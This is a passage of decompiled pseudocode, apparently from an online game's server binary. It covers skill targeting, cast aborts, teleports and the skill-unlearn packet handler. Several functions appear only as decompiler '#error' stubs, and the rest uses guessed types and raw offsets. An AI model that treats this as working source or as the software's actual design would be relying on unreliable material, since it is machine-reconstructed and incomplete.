result = nDamage; } return result; } //----- (005494C0) -------------------------------------------------------- #error "5494C0: undefined or illegal type '#593' (funcsize=12)" //----- (005494F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_smo_GetRandomTarget_Locate(void *this, int pSkillIndex, int pRandomLocate) { void *v3; // edi@1 int v4; // eax@3 char result; // al@4 int v6; // ebx@5 unsigned int v7; // eax@5 __int64 v8; // qax@5 int v9; // esi@5 double v10; // ST20_8@5 int v11; // esi@5 int v12; // ecx@8 int Locate; // [sp+Ch] [bp-18h]@5 int v14; // [sp+10h] [bp-14h]@5 int XY; // [sp+14h] [bp-10h]@5 int v16; // [sp+18h] [bp-Ch]@7 double nSin; // [sp+1Ch] [bp-8h]@5 int pSkillIndexa; // [sp+28h] [bp+4h]@5 v3 = this; if ( pRandomLocate && pSkillIndex && (v4 = *(_DWORD *)(pSkillIndex + 4)) != 0 ) { v6 = RandomBox::rb_largerandom(&rndbox, *(_DWORD *)(v4 + 176)); v7 = rndbox.rb_box[64].rs_point.mask & (rndbox.rb_box[64].rs_point.value + 1); rndbox.rb_box[64].rs_point.value = v7; v8 = 180 * rndbox.rb_box[64].rs_slot[v7]; v9 = ((BYTE4(v8) & 0x3F) + (signed int)v8) >> 6; nSin = (double)ShineRadian::sr_sin1024(&shineradian, v9) * 0.0009765625; v10 = (double)v6; pSkillIndexa = ShineRadian::sr_cos1024(&shineradian, v9); v11 = *(_DWORD *)((char *)v3 + 78); Locate = *(_DWORD *)v11 + (unsigned __int64)(v10 * nSin); v14 = (unsigned __int64)((double)pSkillIndexa * 0.0009765625 * v10) + *(_DWORD *)(v11 + 4); if ( ShineObjectClass::ShineObject::so_FindBlockLocate( v3, (int)&Locate, 2 * v6, (int)&XY, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsAttackBlock) && (Locate = XY, v14 = v16, ShineObjectClass::ShineObject::so_FindBlockLocate( v3, (int)&Locate, 2 * v6, (int)&XY, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsMoveBlock)) ) { v12 = v16; *(_DWORD *)pRandomLocate = XY; *(_DWORD *)(pRandomLocate + 4) = v12; result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (00549640) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, MemoryQueueSkillErase *content) { unsigned int v3; // eax@1 v3 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); this->mq_Pointer.value = v3; this->mq_Buffer[v3].handle = hnd; this->mq_Buffer[this->mq_Pointer.value].content.mqr_SkillID = content->mqr_SkillID; return LOWORD(this->mq_Pointer.value); } //----- (00549680) -------------------------------------------------------- void __thiscall FanFormSectorArgument::FanFormSectorArgument(FanFormSectorArgument *this) { VectorClass::VectorWithLength *v1; // esi@1 int v2; // eax@1 int v3; // ST00_4@1 v1 = (VectorClass::VectorWithLength *)&this->ffsa_chardirect; this->ffsa_chardirect.baseclass_0.baseclass_4.v_x = 1; this->ffsa_chardirect.baseclass_0.baseclass_4.v_y = 1; v2 = this->ffsa_chardirect.baseclass_0.baseclass_4.v_y; v3 = this->ffsa_chardirect.baseclass_0.baseclass_4.v_x; this->ffsa_chardirect.baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_; this->ffsa_chardirect.baseclass_0.vwl_Length = DirectDistanceTable::ddt_Distance(&ddt, v3, v2); v1->vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::UnitVector::_vftable_; VectorClass::VectorWithLength::vwl_Scale(v1, 32); } // 63FA10: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); // 6610B8: using guessed type int (__stdcall *VectorClass__UnitVector___vftable_)(int itm); //----- (005496D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_old_skill_blast(void *this, int idx, int a3, int skill, __int16 *empower) { void *v5; // esi@1 int v6; // edx@1 __int16 v7; // cx@2 int v8; // edx@2 char v9; // dl@3 int v10; // edx@3 int smasharg; // [sp+14h] [bp-F4h]@2 int v12; // [sp+18h] [bp-F0h]@2 __int16 v13; // [sp+1Ch] [bp-ECh]@2 char resist; // [sp+23h] [bp-E5h]@3 char isenemy; // [sp+24h] [bp-E4h]@3 int argument; // [sp+28h] [bp-E0h]@1 int v17; // [sp+2Ch] [bp-DCh]@1 int v18; // [sp+30h] [bp-D8h]@1 __int16 v19; // [sp+34h] [bp-D4h]@1 char v20; // [sp+38h] [bp-D0h]@1 char v21; // [sp+39h] [bp-CFh]@1 char v22; // [sp+3Ah] [bp-CEh]@1 char v23; // [sp+3Bh] [bp-CDh]@1 char v24; // [sp+3Ch] [bp-CCh]@1 char v25; // [sp+3Dh] [bp-CBh]@1 char v26; // [sp+3Eh] [bp-CAh]@1 int v27; // [sp+40h] [bp-C8h]@1 double v28; // [sp+48h] [bp-C0h]@1 int v29; // [sp+50h] [bp-B8h]@1 int v30; // [sp+54h] [bp-B4h]@1 int v31; // [sp+58h] [bp-B0h]@1 FunctionEntarance _; // [sp+60h] [bp-A8h]@1 BattleObjectGroup::BattleObjectStruct battleobject; // [sp+64h] [bp-A4h]@3 int v34; // [sp+104h] [bp-4h]@1 v5 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::smo_old_skill_blast"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_old_skill_blast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_old_skill_blast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v28 = 1.0; argument = 0; v17 = 0; v18 = idx; v24 = 0; v22 = 0; v21 = 0; v20 = 0; v23 = 0; v26 = 0; v19 = 0; v27 = 0; v29 = 1000; v30 = 0; v25 = 0; v31 = 0; v6 = **(_DWORD **)(idx + 164); v34 = 0; if ( (unsigned __int8)(*(int (__stdcall **)(int *))(v6 + 32))(&argument) ) { v7 = *empower; BYTE1(smasharg) = *(_BYTE *)(skill + 4); v8 = *(_DWORD *)v5; v13 = v7; LOBYTE(smasharg) = 0; v12 = idx; (*(void (__thiscall **)(void *, int, int *))(v8 + 1432))(v5, a3, &smasharg); } v9 = *(_BYTE *)(skill + 4); v13 = *empower; LOBYTE(smasharg) = 0; BYTE1(smasharg) = v9; v12 = idx; BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(&battleobject); v10 = *(_DWORD *)v5; LOBYTE(v34) = 1; isenemy = (*(int (__thiscall **)(void *, int, _DWORD))(v10 + 2432))(v5, a3, "smo_SkillBlast"); (*(void (__thiscall **)(void *, int, int *, BattleObjectGroup::BattleObjectStruct *, char *, _DWORD))(*(_DWORD *)v5 + 1436))( v5, a3, &smasharg, &battleobject, &resist, *(_DWORD *)&isenemy); LOBYTE(v34) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&battleobject); --funcallanalizer.fca_stackpoint; v34 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_old_skill_blast"); } //----- (00549890) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S11_20 & 1) ) { _S11_20 |= 1u; stru_130DE3B0.cmc_AllowMode = 4; atexit(_E12_32); } if ( (1 << **((_BYTE **)v4 + 892)) & stru_130DE3B0.cmc_AllowMode && *((_DWORD *)v4 + 1796) ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 3392))(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD"); } //----- (00549980) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_CastAbort(void *this) { void *v1; // esi@1 int v2; // eax@1 char *v3; // eax@4 int v4; // ST04_4@4 int v5; // eax@4 char *v6; // [sp-4h] [bp-28h]@2 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@4 int v8; // [sp+20h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::sp_castabort"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::sp_castabort"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1802); v8 = 0; if ( v2 ) { v6 = "ShineObjectClass::ShineMobileObject::sp_castabort"; } else { if ( *((_DWORD *)v1 + 1796) ) { v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9272; *((_WORD *)v3 + 1) = *((_WORD *)v1 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v8) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 1, 65535); ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear((char *)v1 + 7184); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } v6 = "ShineObjectClass::ShineMobileObject::sp_castabort"; } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); } //----- (00549A90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_CastAbort(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_castabort"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_castabort"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMobileObject::smo_CastAbort(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_castabort"); } //----- (00549B30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // edx@1 int v6; // eax@1 unsigned int v7; // ecx@1 char *v8; // ecx@1 char *v9; // eax@1 int v10; // eax@4 unsigned int v11; // ecx@7 char *v12; // ecx@7 int v13; // eax@9 int v14; // ST04_4@10 int v15; // eax@10 int v16; // edx@10 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@10 int v18; // [sp+24h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v18 = 0; v6 = (*(int (__thiscall **)(void *))(v5 + 1384))(v4); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)v6; *((_DWORD *)v8 + 1) = *(_DWORD *)(v6 + 4); *((_DWORD *)v8 + 2) = *(_DWORD *)(v6 + 8); *((_DWORD *)v8 + 3) = *(_DWORD *)(v6 + 12); v9 = gpp.pp_Buffer; v8[16] = 0; *(_WORD *)v9 = 9272; *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); if ( !(_S19_15 & 1) ) { _S19_15 |= 1u; stru_130DE3B8.cmc_AllowMode = 4; atexit(_E20_15); } if ( (1 << **((_BYTE **)v4 + 892)) & stru_130DE3B8.cmc_AllowMode ) { if ( *((_DWORD *)v4 + 1796) ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v14 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v18) = 1; v15 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v15, v14, 0, 0, (int)&alchat, 1, 65535); v16 = *(_DWORD *)v4; *((_DWORD *)v4 + 1796) = 0; (*(void (__thiscall **)(void *))(v16 + 3400))(v4); LOBYTE(v18) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); goto LABEL_11; } v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1384))(v4); } else { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1384))(v4); } v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)v10; *((_DWORD *)v12 + 1) = *(_DWORD *)(v10 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v10 + 8); *((_DWORD *)v12 + 3) = *(_DWORD *)(v10 + 12); v12[16] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD : Packet Too Long", 4); } LABEL_11: --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_CMD"); } //----- (00549D50) -------------------------------------------------------- #error "549D50: undefined or illegal type '#593' (funcsize=69)" //----- (00549E60) -------------------------------------------------------- #error "549E60: undefined or illegal type '#593' (funcsize=66)" //----- (00549F60) -------------------------------------------------------- #error "549F60: undefined or illegal type '#615' (funcsize=42)" //----- (0054A020) -------------------------------------------------------- #error "54A020: undefined or illegal type '#593' (funcsize=45)" //----- (0054A110) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillResultPacket(void *this, int idx, int targetpoint) { void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // ecx@1 char *v6; // ecx@1 char *v7; // eax@1 int v8; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillResultPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillResultPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1384))(v3); v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)v4; *((_DWORD *)v6 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v4 + 8); *((_DWORD *)v6 + 3) = *(_DWORD *)(v4 + 12); v7 = gpp.pp_Buffer; v6[16] = 0; *(_WORD *)v7 = *(_WORD *)v7 & 0x3FF | 0x2400; v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1176))(v3); (*(void (__thiscall **)(int, void *))(*(_DWORD *)v8 + 56))(v8, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillResultPacket"); } //----- (0054A210) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_mobile_Teleport() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mobile_Teleport"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mobile_Teleport"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_mobile_Teleport", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mobile_Teleport"); } //----- (0054A2B0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_mobile_Teleport(int Location) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mobile_Teleport"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mobile_Teleport"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_mobile_Teleport", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mobile_Teleport"); } //----- (0054A350) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mobile_Teleport(void *this) { void *v1; // esi@1 BlockDistribute::BlockingDistribute *v2; // ecx@1 SHINE_XY_TYPE loc; // [sp+8h] [bp-14h]@1 int v4; // [sp+18h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_Teleport"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::smo_Teleport"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(BlockDistribute::BlockingDistribute **)(*(_DWORD *)(*(_DWORD *)((char *)v1 + 98) + 20) + 1068); v4 = 0; if ( BlockDistribute::BlockingDistribute::bd_FindEmptyCoord(v2, &loc) ) (*(void (__thiscall **)(void *, SHINE_XY_TYPE *))(*(_DWORD *)v1 + 1740))(v1, &loc); --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_Teleport"); } //----- (0054A410) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_mobile_Teleport(int this, int Location) { char *v2; // eax@1 int v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v7; // [sp+1Ch] [bp-4h]@1 v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8211; v3 = this; *((_WORD *)v2 + 1) = *(_WORD *)(this + 4); *((_DWORD *)v2 + 1) = *(_DWORD *)Location; *((_DWORD *)v2 + 2) = *(_DWORD *)(Location + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 12); v4 = *(_DWORD *)(v3 + 78); v7 = 0; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v5, v4, 0, 0, (int)&alchat, 0, 65535); ShineObjectClass::ShineObject::so_MoveTo(v3, *(_DWORD *)Location, *(_DWORD *)(Location + 4), 6); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2648))(v3); v7 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } // 446BD0: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); //----- (0054A4D0) -------------------------------------------------------- #error "54A4D0: undefined or illegal type '#593' (funcsize=87)" //----- (0054A620) -------------------------------------------------------- #error "54A620: undefined or illegal type '#615' (funcsize=50)" //----- (0054A6F0) -------------------------------------------------------- #error "54A6F0: undefined or illegal type '#593' (funcsize=69)" //----- (0054A820) -------------------------------------------------------- #error "54A820: undefined or illegal type '#593' (funcsize=33)" //----- (0054A8C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ(void *this, unsigned __int16 *netcmd, __int16 tmp, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 unsigned __int16 *v6; // ebx@1 bool v7; // zf@1 __int16 v8; // dx@1 int v9; // eax@9 int v10; // eax@10 int v11; // edx@10 int v12; // eax@10 int v13; // eax@13 int v14; // eax@20 __int16 v15; // cx@20 int v16; // eax@22 char v17; // al@24 int v18; // eax@25 ItemDataBox::ItemDataBoxIndex *v19; // eax@26 int v20; // eax@28 char v21; // al@31 int v22; // eax@32 unsigned __int16 v23; // ax@33 char *v24; // [sp-4h] [bp-28h]@6 FunctionEntarance _; // [sp+10h] [bp-14h]@1 int flag; // [sp+14h] [bp-10h]@10 int v27; // [sp+20h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShineObject::sp_NC_SKILL_UNLEARN_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::sp_NC_SKILL_UNLEARN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::sp_NC_SKILL_UNLEARN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = netcmd; v7 = (_S36_0 & 1) == 0; *(_WORD *)gpp.pp_Buffer = 18471; v8 = *(unsigned __int16 *)((char *)v6 + 3); v27 = 0; *((_WORD *)v5 + 1) = v8; if ( v7 ) { _S36_0 |= 1u; stru_130DE3C0.cmc_AllowMode = 70; atexit(_E37_3); } if ( !((1 << **((_BYTE **)v4 + 892)) & stru_130DE3C0.cmc_AllowMode) ) { *((_WORD *)v5 + 2) = 5378; goto LABEL_5; } if ( !CharaterSkillList::csl_IsLearn((CharaterSkillList *)((char *)v4 + 68496), *(unsigned __int16 *)((char *)v6 + 3)) ) { *((_WORD *)v5 + 2) = 5379; LABEL_5: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v4, &gpp); v24 = "ShineObjectClass::ShineObject::sp_NC_SKILL_UNLEARN_REQ"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 6); v24 = "ShineObjectClass::ShineObject::sp_NC_SKILL_UNLEARN_REQ"; } goto LABEL_19; } v10 = *((_BYTE *)v6 + 2); v11 = *((_DWORD *)v4 + 8920); netcmd = (unsigned __int16 *)*((_BYTE *)v6 + 2); flag = v10; v12 = (*(int (__thiscall **)(char *))(v11 + 8))((char *)v4 + 35680); if ( (signed int)netcmd >= v12 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : wrong slot", flag); *((_WORD *)v5 + 2) = 1794; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { LABEL_12: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 6); LABEL_18: v24 = "ShineObjectClass::ShineObject::sp_NC_SKILL_UNLEARN_REQ"; LABEL_19: --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v24); return; } v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); LABEL_17: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); goto LABEL_18; } if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, unsigned __int16 *))(*((_DWORD *)v4 + 14470) + 16))( (char *)v4 + 57880, 9, netcmd) ) { *((_WORD *)v5 + 2) = 1802; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) goto LABEL_12; v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); goto LABEL_17; } v14 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))( (char *)v4 + 35680, *((_BYTE *)v6 + 2)); v15 = *(_WORD *)(v14 + 8); netcmd = (unsigned __int16 *)(v14 + 8); if ( unk_131DF0EE == v15 ) { v16 = (*(int (__stdcall **)(int))(**(_DWORD **)(v14 + 112) + 24))(v14 + 8); if ( !AssertClass::operator__( &shineassert, v16 > 0, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Try to use lot 0 item", 0) ) { v19 = ItemDataBox::operator__(&itemdatabox, *netcmd); netcmd = (unsigned __int16 *)v19; v20 = v19 && v19->data; if ( AssertClass::operator__( &shineassert, v20, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Try to equip empty cell", 0) ) { *((_WORD *)v5 + 2) = 1795; v21 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v21, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 6) ) { v22 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v22 + 12))(v22, v4, &gpp); } } else { UseEffect::UseItemNormal::uib_AfterCast( &ui_SkillErase, (#734 *)v4, (ItemBag *)v4 + 8920, (ItemDataBox::ItemDataBoxIndex *)netcmd, *((_BYTE *)v6 + 2)); v23 = *((_WORD *)v4 + 2); LOWORD(netcmd) = *(unsigned __int16 *)((char *)v6 + 3); *((_WORD *)v4 + 71611) = MemoryQueue::mq_Store( &queue_skillerase, v23, (MemoryQueueSkillErase *)&netcmd); } goto LABEL_34; } *((_WORD *)v5 + 2) = 1795; } else { *((_WORD *)v5 + 2) = 1794; } v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 6) ) { v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v18 + 12))(v18, v4, &gpp); } LABEL_34: v27 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0054AC60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@1 int v3; // ebp@2 int v4; // eax@3 char *v5; // edi@3 DebugLogging *v6; // esi@3 _iobuf *v7; // eax@5 DebugLogging *v8; // eax@7 DebugLogging *v9; // eax@7 int v10; // eax@9 unsigned int v11; // ecx@9 char *v12; // ecx@9 char *v13; // ST04_4@9 DebugLogging *v14; // eax@9 DebugLogging *v15; // eax@9 char *v16; // edi@10 ZoneBaseSession *v17; // eax@12 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SkillEraseItemUseSuccess"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 71611); if ( v2 < 0x80u && (v3 = 4 * v2 + 319676840, 4 * v2 != -319676840) ) { if ( *((_WORD *)v1 + 2) == queue_skillerase.mq_Buffer[v2].handle ) { v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18469; *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_WORD *)v16 + 1) = *((_WORD *)v1 + 2); *((_WORD *)v16 + 4) = *(_WORD *)(v3 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v17 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v17); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 10); } } else { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1384))(v1); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)v10; *((_DWORD *)v12 + 1) = *(_DWORD *)(v10 + 4); *((_DWORD *)v12 + 2) = *(_DWORD *)(v10 + 8); v13 = v12; *((_DWORD *)v12 + 3) = *(_DWORD *)(v10 + 12); v12[16] = 0; v14 = 